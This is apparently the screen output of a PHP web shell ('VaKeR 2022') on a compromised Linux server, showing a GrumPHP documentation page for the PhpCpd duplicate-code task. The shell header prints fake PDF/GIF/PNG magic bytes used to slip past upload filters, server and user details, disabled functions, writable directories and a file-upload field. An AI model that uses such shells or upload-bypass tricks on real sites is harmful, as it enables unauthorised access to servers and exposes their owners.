%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/doc/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/doc/tasks/phpcpd.md
# PhpCpd

The PhpCpd task will sniff your code for duplicated lines.

***Composer***

```
composer require --dev sebastian/phpcpd
```

***Config***

The task lives under the `phpcpd` namespace and has following configurable parameters:

```yaml
# grumphp.yml
grumphp:
    tasks:
        phpcpd:
            directory: ['.']
            exclude: ['vendor']
            fuzzy: false
            min_lines: 5
            min_tokens: 70
            triggered_by: ['php']
```

**directory**

*Default: [.]*

With this parameter you can define which directories you want to run `phpcpd` in (must be relative to cwd).

**exclude**

*Default: [vendor]*

With this parameter you will be able to exclude one or multiple directories from code analysis (must be relative to `directory`).

**fuzzy**

*Default: false*

With this parameter you will be able to fuzz variable names.

**min_lines**

*Default: 5*

With this parameter you will be able to set minimum number of identical lines.

**min_tokens**

*Default: 70*

With this parameter you will be able to set minimum number of identical tokens.

**triggered_by**

*Default: [php]*

This is a list of extensions to be sniffed.

VaKeR 2022